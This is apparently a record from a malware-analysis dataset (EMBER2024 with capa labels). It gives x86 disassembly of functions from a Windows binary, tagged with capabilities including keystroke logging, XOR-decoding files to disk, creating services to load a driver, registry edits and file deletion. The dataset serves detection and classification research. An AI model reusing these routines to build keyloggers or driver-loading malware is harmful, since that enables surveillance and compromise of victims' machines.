joyce8/EMBER2024-capa huggingface dataset:
Function at 0x462430
Capabilities:
Encrypt data using blowfish

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x40
push ebx
push ebp
mov ebp, ecx
mov ebx, dword [esp + 0x50]
mov ecx, dword [eax]
cmp ebx, 1
mov dword [ebp], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 4], edx
mov ecx, dword [eax]
mov dword [ebp + 8], ecx
mov edx, dword [eax + 4]
mov dword [ebp + 0xc], edx
jae 0x462471
lea eax, [esp + 0x54]
push 0x506ec0
push eax
mov dword [esp + 0x5c], str.Incorrect_key_length
call sub.MSVCRT.dll__CxxThrowException
cmp ebx, 0x38
jbe 0x46247b
mov ebx, 0x38
mov ecx, ebx
push esi
mov esi, dword [esp + 0x50]
mov edx, ecx
push edi
lea edi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp + 0x10]
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x12
mov esi, 0x4e2438
mov edi, edx
mov dword [esp + 0x58], 0x12
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp + 0x58]
mov ecx, 0x400
mov esi, 0x4e2480
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x18]
mov esi, edx
xor edx, edx
mov dword [esp + 0x5c], 4
mov edi, edx
xor edx, edx
mov dl, byte [ecx]
shl edi, 8
or edx, edi
inc ecx
inc eax
cmp eax, ebx
jne 0x4624e6
xor eax, eax
lea ecx, [esp + 0x18]
mov edi, dword [esp + 0x5c]
dec edi
mov dword [esp + 0x5c], edi
jne 0x4624cf
mov edi, dword [esi]
add esi, 4
xor edi, edx
mov edx, dword [esp + 0x58]
mov dword [esi - 4], edi
dec edx
mov dword [esp + 0x58], edx
jne 0x4624c5
xor edi, edi
lea esi, [ebp + 0x10]
mov dword [esp + 0x10], edi
mov dword [esp + 0x14], edi
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00462590
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x12
jb 0x462513
lea eax, [ebp + 0x58]
mov dword [esp + 0x5c], 4
mov ebx, eax
xor edi, edi
mov esi, ebx
lea eax, [esp + 0x10]
mov ecx, ebp
push eax
call fcn.00462590
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [esi], ecx
add esi, 4
inc edi
mov dword [esi], edx
inc edi
add esi, 4
cmp edi, 0x100
jl 0x462549
mov eax, dword [esp + 0x5c]
add ebx, 0x400
dec eax
mov dword [esp + 0x5c], eax
jne 0x462545
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x40
ret 0xc
Function at 0x463680
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4b879f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x1c]
push ebp
push esi
push edi
lea esi, [eax + 7]
mov edi, ecx
shr esi, 3
shl esi, 3
push esi
mov dword [esp + 0x10], 0
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x28]
add esp, 4
mov ebp, eax
push ecx
push esi
push ebp
push edx
mov ecx, edi
call fcn.004631c0
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push ebp
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], eax
call fcn.004215e4
mov ecx, esi
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
mov dword [esp + 0x1c], 1
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x24]
add esp, 4
lea eax, [esp + 0x28]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0xc], 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x18], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x10

Function at 0x463750
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4b87d7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
push edi
mov ebp, ecx
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 0x1c], 1
mov eax, dword [eax - 8]
lea edi, [eax + 0xa]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, dword [esp + 0x30]
add esp, 4
mov esi, eax
lea edx, [esp + 0x28]
push ecx
push edi
push esi
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push edx
call sub.MFC42.DLL_CString::CString_3
mov ecx, ebp
call fcn.004635c0
call sub.MFC42.DLL_AfxGetEmptyString
mov eax, dword [eax]
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
call fcn.004215e4
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push esi
and ecx, 3
mov byte [esp + 0x20], 2
rep stosb byte es:[edi], al
call sub.MFC42.DLL_operatordelete
mov esi, dword [esp + 0x28]
add esp, 4
lea eax, [esp + 0xc]
mov ecx, esi
push eax
call sub.MFC42.DLL_CString::CString_3
mov dword [esp + 0x10], 1
lea ecx, [esp + 0xc]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x14
ret 0xc

Function at 0x466b60
Capabilities:
Encode data using xor

Disassembly:
push edi
push 0x50ea8c
push 0x551620
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x466bb5
mov eax, dword [0x5264ec]
push esi
xor esi, esi
test eax, eax
jbe 0x466baa
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
xor eax, eax
push edi
mov al, byte [esi + 0x4e4590]
xor eax, 0x7d
push eax
call ebx
mov eax, dword [0x5264ec]
add esp, 8
inc esi
cmp esi, eax
jb 0x466b8d
pop ebx
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
pop esi
pop edi
ret
Function at 0x466cf0
Capabilities:
Delete registry key
Set registry value

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.00466bd0
test al, al
mov byte [0x55161c], al
je 0x466eff
mov eax, dword [esp + 0x30]
and eax, 0x2000
push eax
call fcn.00466c00
call fcn.00466b60
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov edi, str.._tc
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x18], al
mov edx, ecx
mov esi, edi
mov edi, 0x551728
mov dword [esp + 0x19], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [sym.imp.MSVCRT.dll_rand]
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov ecx, edx
mov dword [esp + 0x25], eax
and ecx, 3
mov word [esp + 0x29], ax
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x2b], al
call ebx
cdq
mov ecx, 3
mov esi, 0
idiv ecx
mov edi, edx
add edi, ecx
je 0x466da2
call ebx
cdq
mov ecx, 0x1a
idiv ecx
add dl, 0x61
mov byte [esp + esi + 0x18], dl
inc esi
cmp esi, edi
jb 0x466d8c
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x551728
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x30]
and ecx, 3
push eax
push str.SOFTWAREMicrosoft
push reloc.OLEAUT32.dll_SysReAllocString
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x466e31
mov edx, dword [esp + 0x30]
lea ecx, [esp + 0x10]
push ecx
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
push eax
push 1
push 0
push str.winio
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x551728
call esi
cmp eax, 0xffffffff
mov dword [0x5264f0], eax
jne 0x466eb6
xor edi, edi
push 1
push 0x551620
call fcn.00467040
mov bl, al
test bl, bl
je 0x466ea2
call fcn.00467180
mov bl, al
test bl, bl
je 0x466ea2
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x551728
call esi
test eax, eax
mov dword [0x5264f0], eax
je 0x466ea7
cmp eax, 0xffffffff
jne 0x466ead
jmp 0x466ea7
mov eax, dword [0x5264f0]
inc edi
cmp edi, 4
jl 0x466e5c
test bl, bl
je 0x466eff
cmp eax, 0xffffffff
je 0x466eff
lea ecx, [esp + 0x14]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x8001200c
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x466eff
mov edx, dword [esp + 0x30]
push str.rename
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov eax, dword [esp + 0x30]
push eax
call ebp
pop edi
pop esi
pop ebp
mov byte [0x551724], 1
mov al, 1
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1c
ret 4
Function at 0x467040
Capabilities:
Create service

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
push 0x5c
push ebx
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
je 0x467074
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x55182c
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x467090
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
mov esi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x55182c
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0x2e
rep movsb byte es:[edi], byte [esi]
push 0x55182c
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x4670ac
mov byte [eax], 0
call fcn.00467120
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
je 0x467118
mov al, byte [esp + 0x14]
push 0
dec al
push 0
neg al
sbb eax, eax
push 0
push 0
and al, 0xfe
push 0
push ebx
add eax, 3
push 1
push eax
push 1
push 0xf01ff
push 0x55182c
push 0x55182c
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
call esi
test edi, edi
je 0x467118
push edi
call esi
call fcn.00467180
pop edi
pop esi
pop ebx
ret 8
pop edi
pop esi
xor al, al
pop ebx
ret 8

Function at 0x4671f0
Capabilities:
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x46724a
push 0xf01ff
push 0x55182c
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x46724a
lea eax, [esp + 8]
push ebx
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
push esi
setne bl
call edi
mov al, bl
pop ebx
pop edi
pop esi
add esp, 0x1c
ret
pop edi
xor al, al
pop esi
add esp, 0x1c
ret
Function at 0x467270
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f4430
push 0x422114
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], esi
push str.qsefyjil
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x551d34], eax
cmp eax, esi
je 0x4673ad
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4673ad
push 0x50ea8c
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov edi, eax
mov dword [ebp - 0x34], edi
cmp edi, esi
je 0x467317
mov dword [ebp - 0x38], esi
mov ebx, dword [sym.imp.MSVCRT.dll_fputc]
cmp esi, dword [0x52652c]
push edi
jae 0x46730c
xor ecx, ecx
mov cl, byte [esi + 0x4ed9b0]
xor ecx, 0x7d
push ecx
call ebx
add esp, 8
inc esi
mov dword [ebp - 0x38], esi
jmp 0x4672ec
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor esi, esi
cmp dword [ebp + 0x14], esi
je 0x467333
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.004677e0
add esp, 8
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4673ad
push esi
push 0x80
push 3
push esi
push esi
push 0xc0000000
push str..hkSymbolicLink
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x551d2c], eax
cmp eax, 0xffffffff
je 0x4673ad
mov dword [ebp - 0x24], esi
push esi
push esi
push esi
push 0x467260
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], eax
cmp eax, esi
je 0x4673ad
mov dword [0x551d30], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x28], ecx
push esi
lea edx, [ebp - 0x2c]
push edx
push 4
lea eax, [ebp - 0x30]
push eax
push 8
lea ecx, [ebp - 0x28]
push ecx
push 0x8000201c
mov edx, dword [0x551d2c]
push edx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov dword [ebp - 0x20], eax
cmp eax, esi
je 0x4673ad
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004673d0
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4673d0
Capabilities:
Delete file
Terminate thread

Disassembly:
mov edi, dword [ebp - 0x1c]
cmp edi, esi
jne 0x467413
mov eax, dword [0x551d34]
cmp eax, esi
je 0x4673ed
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x551d34], esi
mov eax, dword [0x551d2c]
cmp eax, 0xffffffff
je 0x467404
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x551d2c], esi
mov eax, dword [ebp - 0x24]
cmp eax, esi
je 0x467413
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x4675d0
Capabilities:
Log keystrokes

Disassembly:
mov eax, dword [0x551d34]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4675f5
push 1
push eax
call fcn.00467620
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret
xor eax, eax
ret
Function at 0x467600
Capabilities:
Log keystrokes

Disassembly:
push 1
push 1
call fcn.00467620
add esp, 4
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
ret

Function at 0x467690
Capabilities:
Create service

Disassembly:
mov eax, dword [esp + 0xc]
push 0
push 0
push 0
mov ecx, dword [esp + 0x10]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push 1
push 3
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x4676e9
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x431
je 0x4676e5
call esi
push eax
push str.failure:_CreateService__error_code:_u_n
push 0x551d38
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
xor eax, eax
pop esi
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
ret

Function at 0x467790
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push esi
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4677b4
pop esi
add esp, 0x1c
ret
lea edx, [esp + 4]
push edi
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x4690c0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
xor ebp, ebp
push esi
cmp ebx, 1
push edi
jl 0x4690db
cmp ebx, 8
jg 0x4690db
mov eax, 1
jmp 0x4690dd
xor eax, eax
mov esi, dword [esp + 0x14]
push str.bad_pack_level
push eax
push esi
call fcn.00467940
mov eax, dword [esi + 0x6af70]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af78], ebp
jne 0x469114
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
mov ecx, 0x7fff
xor eax, eax
lea edi, [esi + 0x4af70]
mov dword [esi + 0x6af6c], ebp
rep stosd dword es:[edi], eax
mov ax, word [ebx*8 + 0x4f4592]
xor ecx, ecx
mov dword [esi + 0x6af98], eax
mov cx, word [ebx*8 + 0x4f4590]
xor edx, edx
mov dword [esi + 0x6af9c], ecx
mov dx, word [ebx*8 + 0x4f4594]
xor eax, eax
mov dword [esi + 0x6afa0], edx
mov ax, word [ebx*8 + 0x4f4596]
cmp ebx, 2
mov dword [esi + 0x6af94], eax
jg 0x469175
mov eax, dword [esp + 0x1c]
or byte [eax], 4
jmp 0x469181
cmp ebx, 8
jl 0x469181
mov eax, dword [esp + 0x1c]
or byte [eax], 2
lea edi, [esi + 0x1af70]
push 0x10000
push edi
push esi
mov dword [esi + 0x6af84], ebp
mov dword [esi + 0x6af74], ebp
call dword [esi + 0xc]
add esp, 0xc
cmp eax, ebp
mov dword [esi + 0x6af90], eax
je 0x4691fa
cmp eax, 0xffffffff
je 0x4691fa
cmp eax, 0x106
mov dword [esi + 0x6af8c], ebp
jae 0x4691c5
push esi
call fcn.00469410
add esp, 4
mov dword [esi + 0x6af7c], ebp
xor eax, eax
mov edx, dword [esi + 0x6af7c]
xor ecx, ecx
mov cl, byte [edi + eax]
and edx, 0x3ff
and ecx, 0x7fff
shl edx, 5
xor ecx, edx
inc eax
cmp eax, 2
mov dword [esi + 0x6af7c], ecx
jb 0x4691cd
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], ebp
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x46a490
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x46a49b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x46a59e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x4f45e0]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4f45e0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4f45e0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4f45e0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4f45e0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x4f45e0]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x4f45e0]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4f45e0]
xor eax, edx
inc ecx
dec edi
jne 0x46a4b6
pop edi
test esi, esi
je 0x46a5c0
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x4f45e0]
xor eax, edx
inc ecx
dec esi
jne 0x46a5a2
pop esi
pop ebx
not eax
ret

Function at 0x46a5d0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov edx, dword [ecx]
and esi, 0xff
mov eax, edx
and eax, 0xff
xor eax, esi
shr edx, 8
mov eax, dword [eax*4 + 0x4f45e0]
xor eax, edx
mov edx, dword [ecx + 4]
mov dword [ecx], eax
and eax, 0xff
add eax, edx
mov edx, dword [ecx + 8]
imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x4f45e0]
xor eax, edx
mov dword [ecx + 8], eax
ret
Function at 0x46a800
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x44
lea eax, [esp + 0x10]
push esi
mov esi, dword [esp + 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
jne 0x46a822
mov eax, 0x200
pop esi
add esp, 0x44
ret
mov eax, dword [esp + 0x14]
push ebp
mov edx, eax
xor ebp, ebp
and edx, 1
je 0x46a835
mov ebp, 1
test al, 2
je 0x46a83c
or ebp, 2
test al, 4
je 0x46a843
or ebp, 4
mov ecx, eax
and ecx, 0x10
je 0x46a84d
or ebp, 0x10
test al, 0x20
je 0x46a854
or ebp, 0x20
test ecx, ecx
je 0x46a860
or ebp, 0x40000000
jmp 0x46a866
or ebp, 0x80000000
or ebp, 0x1000000
test edx, edx
jne 0x46a876
or ebp, 0x800000
push ebx
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x28
mov dword [esp + 0x14], eax
jbe 0x46a925
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x60]
push 2
push edx
push esi
call ebx
push 0
push 0
push 0x24
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x20]
push 4
push ecx
push esi
call ebx
cmp word [esp + 0x58], 0x54ad
jne 0x46a925
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
lea edx, [eax + 0x34]
cmp ecx, edx
jbe 0x46a925
push 0
push 0
push eax
push esi
call edi
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x24]
push 4
push ecx
push esi
call ebx
mov eax, dword [esp + 0x1c]
cmp eax, 0x5a4d
je 0x46a91f
cmp eax, 0x454e
je 0x46a91f
cmp eax, 0x454c
je 0x46a91f
cmp eax, 0x4550
jne 0x46a925
or ebp, 0x400000
mov eax, dword [esp + 0x5c]
pop edi
test eax, eax
pop ebx
je 0x46a931
mov dword [eax], ebp
mov eax, dword [esp + 0x58]
pop ebp
test eax, eax
je 0x46a940
mov edx, dword [esp + 8]
mov dword [eax], edx
mov esi, dword [esp + 0x58]
test esi, esi
je 0x46a989
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
push eax
push ecx
call fcn.0046a760
mov dword [esi], eax
mov eax, dword [esp + 0x30]
mov dword [esi + 4], edx
mov edx, dword [esp + 0x34]
push edx
push eax
call fcn.0046a760
mov ecx, dword [esp + 0x2c]
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
mov edx, dword [esp + 0x28]
push ecx
push edx
call fcn.0046a760
mov dword [esi + 0x10], eax
add esp, 0x18
mov dword [esi + 0x14], edx
mov esi, dword [esp + 0x5c]
test esi, esi
je 0x46a9c8
mov edx, dword [esp + 0x2c]
lea eax, [esp + 0x50]
lea ecx, [esp + 0x4c]
push eax
mov eax, dword [esp + 0x2c]
push ecx
push edx
push eax
call fcn.0046a790
mov ecx, dword [esp + 0x5c]
mov edx, dword [esp + 0x60]
and ecx, 0xffff
and edx, 0xffff
shl ecx, 0x10
add esp, 0x10
or ecx, edx
mov dword [esi], ecx
xor eax, eax
pop esi
add esp, 0x44
ret
Function at 0x46ab80
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, ecx
push ebp
mov ebp, dword [esp + 0x10]
mov al, byte [ebx + 0x2d]
push esi
mov esi, dword [esp + 0x10]
push edi
test al, al
je 0x46ac05
mov eax, dword [ebx + 0x3c]
test eax, eax
je 0x46abb1
cmp dword [ebx + 0x40], ebp
jae 0x46abb1
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebx + 0x3c], 0
mov eax, dword [ebx + 0x3c]
test eax, eax
jne 0x46abcb
lea eax, [ebp + ebp]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebx + 0x3c], eax
mov dword [ebx + 0x40], ebp
mov edi, dword [ebx + 0x3c]
mov ecx, ebp
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
test ebp, ebp
jbe 0x46ac02
lea edi, [ebx + 0x30]
mov eax, dword [ebx + 0x3c]
mov cl, byte [esi + eax]
push ecx
push edi
call fcn.0046a650
mov edx, dword [ebx + 0x3c]
add esp, 8
mov byte [esi + edx], al
inc esi
cmp esi, ebp
jb 0x46abe7
mov esi, dword [ebx + 0x3c]
mov edx, dword [ebx + 0x20]
test edx, edx
je 0x46ac4d
mov eax, dword [ebx + 0x24]
mov edi, dword [ebx + 0x28]
lea ecx, [eax + ebp]
cmp ecx, edi
jb 0x46ac29
pop edi
pop esi
mov dword [ebx + 0x14], 0x30000
pop ebp
xor eax, eax
pop ebx
ret 8
mov ecx, ebp
lea edi, [eax + edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx + 0x24]
pop edi
add eax, ebp
pop esi
mov dword [ebx + 0x24], eax
mov eax, ebp
pop ebp
pop ebx
ret 8
mov eax, dword [ebx + 4]
test eax, eax
je 0x46ac6f
lea ecx, [esp + 0x14]
push 0
push ecx
push ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
ret 8
pop edi
pop esi
mov dword [ebx + 0x14], 0x1000000
pop ebp
xor eax, eax
pop ebx
ret 8